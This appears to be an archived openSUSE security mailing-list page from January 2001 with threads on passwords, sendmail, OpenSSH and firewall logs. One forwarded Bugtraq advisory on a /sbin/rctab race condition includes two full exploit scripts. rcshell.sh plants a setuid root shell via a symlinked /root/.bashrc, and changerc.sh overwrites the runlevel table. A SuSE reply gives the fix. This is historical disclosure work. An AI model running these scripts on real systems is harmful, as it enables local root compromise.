January 2001 - openSUSE Security - openSUSE Mailing Lists

Linux system management package is set
by Fred A. Miller 17 Jan '01

17 Jan '01

http://www.infoworld.com/articles/hn/xml/01/01/16/010116hnvolution.xml -- Fred A. Miller Systems Admin. Cornell Univ. Press Services fm(a)cupserv.org

1 0

8 character passwords?
by MaD dUCK 17 Jan '01

17 Jan '01

hey all, fabulously, my notebook decided to screw up and erased my partition table, but by the time i realized, it was already too late. somehow the motherboard addressed the harddrive as CHS, not as LBA anymore, and the next write made the damage final. anyway, no biggie since i have backups, but now i am running a fresh suse 7.0 and somehow there are only 8 character passwords. makes me believe that no md5 is being used... without the use of yast or suseconfig, how can i enable md5 passwords? what package is responsible? thanks, martin [greetings from the heart of the sun]# echo madduck@!#:1:s@\@@@.net -- women who want to be equal to men lack imagination.

3 2

Why does sendmail deny relaying?
by Thorsten Marquardt 17 Jan '01

17 Jan '01

Hi, I'm in trouble with sendmail. The following lines apear in /etc/log/mail : Jan 17 11:06:23 www sendmail[16390]: f0HA6N916390: Authentication-Warning: \ www.text-team.de: Host [212.121.144.197] claimed to be canto.de Jan 17 11:06:28 www sendmail[16390]: f0HA6N916390: ruleset=check_rcpt, \ arg1=<THOM(a)text-team.de>, relay=[212.121.144.197], reject=550 5.7.1 \ <THOM(a)text-team.de>... Relaying denied. IP name lookup failed [212.121.144.197] Is this mail rejected due to failed reverse name lookup failure? Yours Thom -- ------------------------------------------------------------------- bye bye (c) by Thom | Thorsten Marquardt | EMail: THOM(a)kaupp.chemie.uni-oldenburg.de | Member of the pzt project. | http://kaupp.chemie.uni-oldenburg.de/pzt -------------------------------------------------------------------

6 7

OpenSSH for sparc doesn't honour tcp wrappers
by Nix 17 Jan '01

17 Jan '01

OpenSSH for sparc doesn't seem to be compiled against libwrap (I have crosspased this to both the Sparc and the Security Mailing lists, as I think it applies to both..) # rpm -q openssh openssh-2.1.1p1-22 # uname -a Linux jardia 2.2.16 #1 Wed Aug 9 08:49:44 GMT 2000 sparc unknown Any chance of a notice when a new rpm is available? Cheers --- Nix - nix(a)susesecurity.com SuSE-Security FAQ Maintainer http://www.susesecurity.com

2 2

Re: Serious security flaw in SuSE rctab (fwd)
by Roman Drahtmueller 17 Jan '01

17 Jan '01

...and this was my reply on it. Roman. ---------- Forwarded message ---------- _From: Roman Drahtmueller <draht(a)suse.de> _To: bugtraq(a)securityfocus.com Date: Wed, 17 Jan 2001 03:58:56 +0100 (MET) Subject: Re: Serious security flaw in SuSE rctab On Sat, 13 Jan 2001, Paul Starzetz wrote: > From: Paul Starzetz <paul(a)STARZETZ.DE> > To: BUGTRAQ(a)SECURITYFOCUS.COM > Date: Sat, 13 Jan 2001 19:15:51 +0100 > Subject: Serious security flaw in SuSE rctab > > Hi @ll, > > it seems that the problem described below has not been discussed on > Bugtraq. Does that mean you wouldn't have reported it otherwise? Why? No, it's public for the first time. Before writing to bugtraq, you could have communicated it to us. It was sent to feedback(a)suse.de, our address for bugs, RFE and such, at around the time when your mail was submitted to bugtraq. <security(a)suse.de>, our contact address for security-related issues, was not addressed. Your mail reveals that your primary intention was _not_ to improve security: You failed to report this problem, and there is no hint on how to fix it. Please let me do that, then (search for "Solution"!). - > Problem description > ------------------- > > Due to a various race conditions in the init level editing script > /sbin/rctab it is possible for any local user to overwrite any system's I confirm that a problem exists with the rctab script from the aaa_base package in SuSE-6.0, 6.1, 6.2, 6.3, 6.4, 7.0, all platforms, as well as the SuSE-5.x distributions. However, the description of the problem is not acurrate. The race condition is a result of a failure to create a directory to store the temporary file in. The mkdir command used does not take into account that the directory, if it exists already, might not belong to root or may be writeable for attackers. `chown root:root´ is clearly a wrong step since this would introduce a race in a 1777- directory again. The relevant piece of the /sbin/rctab shell script reads as follows: ___[snip] tmpdir=/tmp/rctmpdir.$$ tmp="${tmpdir}/rctmp" trap "rm -rf $tmpdir" 0 1 3 4 7 9 13 15 trap "exit 1" 2 mkdir -p ${tmpdir} if test $? -gt 0 -o ! -d ${tmpdir} ; then echo "Error $0: cannot create $tmpdir" 1>&2 exit 1 fi chmod 0700 $tmpdir # # make sort secure # export TMPDIR=$tmpdir ___[snip] As you can see, `mkdir -p ...´ is used to create a directory within /tmp. `mkdir -p´ does not return an error if the directory exists already. Thus, the error condition that should be detected is not reached, and the program does not exit. Solution for the problem: remove the only occurrence of the string "-p " in the file /sbin/rctab. Change the line mkdir -p ${tmpdir} to read mkdir ${tmpdir} Of course, we will provide update packages for the supported distributions 6.x and 7.0 (that will fix some more (rather minor) problems.). Future versions of the SuSE distributions do not contain the rctab script any more. Only small comments of academic nature following now. > file with arbitrary data. This may result in denial of service attack, > local or even remote root compromise, if root runs the /sbin/rctab > script. To achieve a remote root compromise, local root privilege is required. Therefore, it is not a remote root compromise. > Details > ------- > > The /sbin/rctab script doesn't check for links writing the temporary > rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't > chown'ed root. Because the PID of the rctab script can be guessed (or `chown root.root´ doesn't make sense from the security standpoint. If the directory is created, it belongs to root. If it doesn't, then you would not want it and abort the script. chown of a (pontially) user-owned file is definitely not the way to go. _From within a c program, fchown(2) is ok if you made sure that the file (that you hold open) is the one you wanted. It is even necessary to safely unlink(2) it later to avoid a race in a 1777-directory (because there is no "funlink(2)"). > looked up, however), any local user can replace the temporary rctmp file > with arbitrary content. This can be exploited in one of the following > manners: > [deleted down to EOF] Roman Drahtmüller, SuSE security. -- - - | Roman Drahtmüller <draht(a)suse.de> // "Caution: Cape does | SuSE GmbH - Security Phone: // not enable user to fly." | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | - -

1 0

Fwd: Serious security flaw in SuSE rctab
by vladimir m. bondarev 17 Jan '01

17 Jan '01

This is a forwarded message From: Paul Starzetz <paul(a)starzetz.de> To: bugtraq(a)securityfocus.com <bugtraq(a)securityfocus.com> Date: Saturday, January 13, 2001, 9:15:51 PM Subject: Serious security flaw in SuSE rctab ===8<==============Original message text=============== Hi @ll, it seems that the problem described below has not been discussed on Bugtraq. Problem description ------------------- Due to a various race conditions in the init level editing script /sbin/rctab it is possible for any local user to overwrite any system's file with arbitrary data. This may result in denial of service attack, local or even remote root compromise, if root runs the /sbin/rctab script. Details ------- The /sbin/rctab script doesn't check for links writing the temporary rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't chown'ed root. Because the PID of the rctab script can be guessed (or looked up, however), any local user can replace the temporary rctmp file with arbitrary content. This can be exploited in one of the following manners: a) local user replaces the rctmp with his own, resulting in enabling/disabling any valid service listed in /sbin/init.d directory. This may lead to a system running a vulnerable service after the runlevel has been switched, resulting in further remote root compromise. b) local user force the rctab script to write the content of rctmp file to any other system's file including /etc/passwd or /etc/shadow. This results in denial of service too. c) local user trick the rctab script to write the contents of rctmp file predecessed by some arbitrary data to some sensitive system file. In conjunction with any sort of shell script executed by the root user and the 'in here documents' it is possible to run any command inside the attacked shell script. d) ...and much more Vulnerable Systems ------------------ At least SuSE 6.1-7.0, maybe other systems using rctab. Exploit ------- Attached 2 exploits rcshell.sh: gives you r00tshell assuming that /root/.bashrc is present, root runs crontab -e and saves the changes after changing something in the runlevel table _and_ login again. (Yes, in some cases the script will fail ;-) changerc.sh: replaces system's inittable with an arbitrary one (assuming rctab -e is run too) IhaQueR. ----------------------------------------------------------------- so now the scripts: [changerc.sh] #!/bin/bash # any user can force changes to runlevels # by IhaQueR declare -i PLOW declare -i PHIGH # CONFIG: PLOW=1 PHIGH=3 TMP="/tmp" FAKERC="/tmp/fakerc" RCTMPDIR="rctmpdir" RCTMP="rctmp" _pwd="$PWD" # echo "----------------------------------------------" echo "| |" echo "| rctab exploit |" echo "| by IhaQueR '2001 |" echo "| |" echo "----------------------------------------------" echo # crate dirs echo "[+] now creating directories" echo " this may take a while" echo declare -i cnt cnt=$PLOW umask 700 while [ $cnt -lt $PHIGH ] do cnt=$(($cnt+1)) if [ $(($cnt % 128)) -eq 0 ] ; then printf "[%6d] " $cnt fi; if [ $(($cnt % 1024)) -eq 0 ] ; then echo fi; mkdir -p "$TMP/$RCTMPDIR.$cnt" done echo echo echo " finished creating dirs" echo # wait for rctab -e declare -i rctabpid rctabpid=0 echo "[+] waiting for root to run rctab" while [ 1 ] do rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'` if test $rctabpid -gt 1 ; then break fi sleep 1 done # rcfile in rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP" echo "[+] got rctab -e at pid $rctabpid" # test if we own the directory rcdir="/tmp/rctmpdir.$rctabpid" if test -O $rcdir ; then echo "[+] ok, we own the dir" else echo "[-] hm, we are not owner" exit 2 fi # wait for root to finish editing sleep 4 declare -i vipid vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'` echo " root is editing now at $vipid, wait for $rcfile" pfile="/proc/$vipid" while test -d $pfile do echo -n >/dev/null done rm -rf $rcfile cp $FAKERC $rcfile echo "[+] gotcha!" echo " installed new rctab from $FAKERC" ----------------------------------------------------------------- [rcshell.sh] #!/bin/bash # any user can force changes to runlevels # by IhaQueR declare -i PLOW declare -i PHIGH # CONFIG: PLOW=1 PHIGH=3 TMP="/tmp" FAKERC=/tmp/fakerc RCTMPDIR="rctmpdir" RCTMP="rctmp" WRITETO="/root/.bashrc" SUSH="/tmp/sush" # what we want to write to $WRITETO (oops...) declare -i idx idx=0 rchead="" while test "$idx" -lt 128 ; do rchead="$rchead " idx=$(($idx+1)) done rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null <<_DUPA_" _pwd="$PWD" # echo "----------------------------------------------" echo "| |" echo "| local rctab root exploit |" echo "| you would need luck |" echo "| and an admin stupid enough |" echo "| by IhaQueR '2001 |" echo "| |" echo "----------------------------------------------" echo # test sys awkl=$(which awk) if test -x $awkl ; then echo "[+] awk found" else echo "[-] awk not found, edit this script :-)" exit 1 fi if test -r /sbin/rctab ; then echo "[+] rctab found" else echo "[-] rctab not found, sorry" exit 1 fi # make suid shell echo "[+] compiling suid shell" cat << _DUPA_ >/tmp/sush.c #include <stdio.h> main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh", argv); } _DUPA_ # compile shell gcc /tmp/sush.c -o $SUSH # crate dirs echo "[+] now creating directories" echo " this may take a while" echo declare -i cnt cnt=$PLOW umask 000 while [ $cnt -lt $PHIGH ] do cnt=$(($cnt+1)) if [ $(($cnt % 128)) -eq 0 ] ; then printf "[%6d] " $cnt fi; if [ $(($cnt % 1024)) -eq 0 ] ; then echo fi; mkdir -p "$TMP/$RCTMPDIR.$cnt" done echo echo echo " finished creating dirs" echo # wait for rctab -e declare -i rctabpid rctabpid=0 echo "[+] waiting for root to run rctab" while [ 1 ] do rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'` if test $rctabpid -gt 1 ; then break fi sleep 1 done # rcfile in rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP" # append our cmd echo >$rcfile "$rchead" echo "[+] got rctab -e at pid $rctabpid" # test if we own the directory rcdir="/tmp/rctmpdir.$rctabpid" if test -O $rcdir ; then echo "[+] ok, we own the dir" else echo "[-] hm, we are not owner" exit 2 fi # wait for editor declare -i vipid vipid=0 while [ $vipid -lt 1 ] do vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'` done echo " root is editing now at pid $vipid, wait for writing $rcfile" sleep 1 pfile="/proc/$vipid" # relink declare -i lcnt lcnt=$(wc -l $rcfile|awk '{print $1-2 }') tail -n$lcnt $rcfile >$rcfile.new rm -rf $rcfile ln -sf $WRITETO $rcfile if test -r "$WRITETO" ; then md=$(cat $WRITETO|md5sum) fi if test -r $WRITETO ; then ac=$(ls -l --full-time $WRITETO) else ac="none" fi # wait for root to write rctab or exit while test -d $pfile do if test -r "$WRITETO" ; then oc="$(ls -l --full-time $WRITETO)" if test "$ac" != "$oc" ; then echo "[+] $WRITETO replaced" break fi fi done rm -rf $rcfile; ln -s $rcfile.new $rcfile if test "$md" = "$(cat $WRITETO|md5sum)" ; then echo "[-] bashrc not changed, sorry" exit 2 else echo "[+] gotcha! wait for root to login" fi # now wait for root to login :-) while test -O $SUSH ; do sleep 1 done echo "[+] suid shell at $SUSH" sleep 1 $SUSH ----------------------------------------------------------------- [sample fakerc] # # Generated by rctab: Fri Jan 12 21:02:40 CET 2001 # # Special scripts # # halt -- only for runlevel 0 # reboot -- only for runlevel 6 # single -- only for single user mode # # Remaining services # # apache argus at autofs boot.setup cdb cipe cron dummy firewall gpm # halt.local inetd inn ipfwadm ircd kbd kerneld lpd masquerade named network # nfs nfsserver ntopd pcnfsd pings quota quotad random rinetd route routed # rpc rwhod scanlogd sendmail serial smb squid sshd syslog xdm xinetd xntpd # ypclient yppasswdd ypserv ypxfrd # Runlevel:1 Runlevel:2 Runlevel:3 Runlevel:4 Runlevel:5 kerneld kerneld kerneld - - serial serial serial - - dummy dummy dummy - - syslog network network - - boot.setup firewall firewall - - gpm masquerade masquerade - - kbd route route - - random cipe cipe - - - rpc rpc - - - argus argus - - - nfs nfs - - - scanlogd scanlogd - - - syslog syslog - - - boot.setup boot.setup - - - routed routed - - - named named - - - quota quota - - - nfsserver nfsserver - - - pcnfsd pcnfsd - - - quotad quotad - - - yppasswdd yppasswdd - - - ypserv ypserv - - - ypxfrd ypxfrd - - - ypclient ypclient - - - autofs autofs - - - apache apache - - - at at - - - gpm inetd - - - inetd inn - - - inn ipfwadm - - - ipfwadm ircd - - - ircd kbd - - - kbd lpd - - - lpd ntopd - - - ntopd random - - - random rinetd - - - rinetd rwhod - - - rwhod sendmail - - - sendmail smb - - - smb squid - - - squid sshd - - - sshd xinetd - - - xinetd xntpd - - - xntpd cron - - - cron xdm - - - pings - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ===8<===========End of original message text=========== what about this? Wednesday, January 17, 2001 -- vladimir m. bondarev, icq uin: 62393277 paradox team web: http://scene.org.ru

1 0

IBM building Linux supercomputer
by Fred A. Miller 16 Jan '01

16 Jan '01

IBM building Linux supercomputer Big Blue's will be world's fastest By Peter Galli eWEEK ZDNET "Jan. 16 - As the need for bigger, faster supercomputers increases at a rapid pace, IBM and the National Center for Supercomputing Applications at the University of Illinois at Champaign are working together to create the world's fastest Linux supercomputer." http://www.msnbc.com/news/517120.asp?0na=2223BR9 -- Fred A. Miller Systems Admin. Cornell Univ. Press Services fm(a)cupserv.org

1 0

unsubscribe mhuelsmann@s-h-s.de
by michael 16 Jan '01

16 Jan '01

unsubscribe

2 1

Firewall and messages log
by alastair＠duncans.screaming.net 16 Jan '01

16 Jan '01

Hi all, can anyone shed some light on to these firewall log entries and the messages log entries Jan 14 18:54:45 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 64.94.163.226:8 62.64.169.128:0 L=84 S=0x00 I=335 F=0x0000 T=50 (#131) Jan 14 18:54:45 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 63.251.143.2:8 62.64.169.128:0 L=84 S=0x00 I=12076 F=0x0000 T=48 (#131) Jan 14 18:54:45 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.125.38:8 62.64.169.128:0 L=84 S=0x00 I=34458 F=0x0000 T=50 (#131) Jan 14 18:54:45 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.248.222:8 62.64.169.128:0 L=84 S=0x00 I=49103 F=0x0000 T=49 (#131)Jan 14 18:54:45 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.172.130:8 62.64.169.128:0 L=84 S=0x00 I=1370 F=0x0000 T=49 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.85.194:8 62.64.169.128:0 L=84 S=0x00 I=29649 F=0x0000 T=49 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.172.130:8 62.64.169.128:0 L=84 S=0x00 I=1520 F=0x0000 T=49 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 63.251.143.2:8 62.64.169.128:0 L=84 S=0x00 I=12221 F=0x0000 T=48 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.44.194:8 62.64.169.128:0 L=84 S=0x00 I=19612 F=0x0000 T=49 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.153.130:8 62.64.169.128:0 L=84 S=0x00 I=14678 F=0x0000 T=49 (#131)Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 64.94.163.226:8 62.64.169.128:0 L=84 S=0x00 I=474 F=0x0000 T=50 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 209.155.224.130:8 62.64.169.128:0 L=84 S=0x00 I=20509 F=0x0000 T=40 (#131) Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.85.194].3506 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.153.130].3682 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [64.94.163.226].3422 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [209.155.224.130].2919 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.44.194].1247 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.172.130].3232 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [63.251.143.2].25806 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.248.222].2502 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.125.38].9795 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [216.52.85.194].3506 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [216.52.153.130].3682 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [64.94.163.226].3422 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [216.52.44.194].1247 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [209.155.224.130].2919 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [63.251.143.2].25806 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [216.52.172.130].3232 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [216.52.248.222].2502 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [216.52.125.38].9795 snort reports them as: [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.654396 216.52.172.130 -> 62.64.169.128 ICMP TTL:49 TOS:0x0 ID:1520 ID:22384 Seq:41651 ECHO [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.674371 63.251.143.2 -> 62.64.169.128 ICMP TTL:48 TOS:0x0 ID:12221 ID:4905 Seq:35450 ECHO [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.694383 216.52.44.194 -> 62.64.169.128 ICMP TTL:49 TOS:0x0 ID:19612 ID:414 Seq:35927 ECHO [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.764391 216.52.153.130 -> 62.64.169.128 ICMP TTL:49 TOS:0x0 ID:14678 ID:17873 Seq:51298 ECHO [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.784388 64.94.163.226 -> 62.64.169.128 ICMP TTL:50 TOS:0x0 ID:474 ID:19664 Seq:46591 ECHO [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.904389 209.155.224.130 -> 62.64.169.128 ICMP TTL:40 TOS:0x0 ID:20509 ID:23026 Seq:32632 ECHO They usually follow the same format denials and then refusals and are happening more frequently. The list of denials each time gets longer and longer with more machines joining in. The name server that is running is caching only for a small home network. SuSE 6.4 and the firwals package. TIA Alastair Duncan

3 2

-help
by michael 16 Jan '01

16 Jan '01

1 0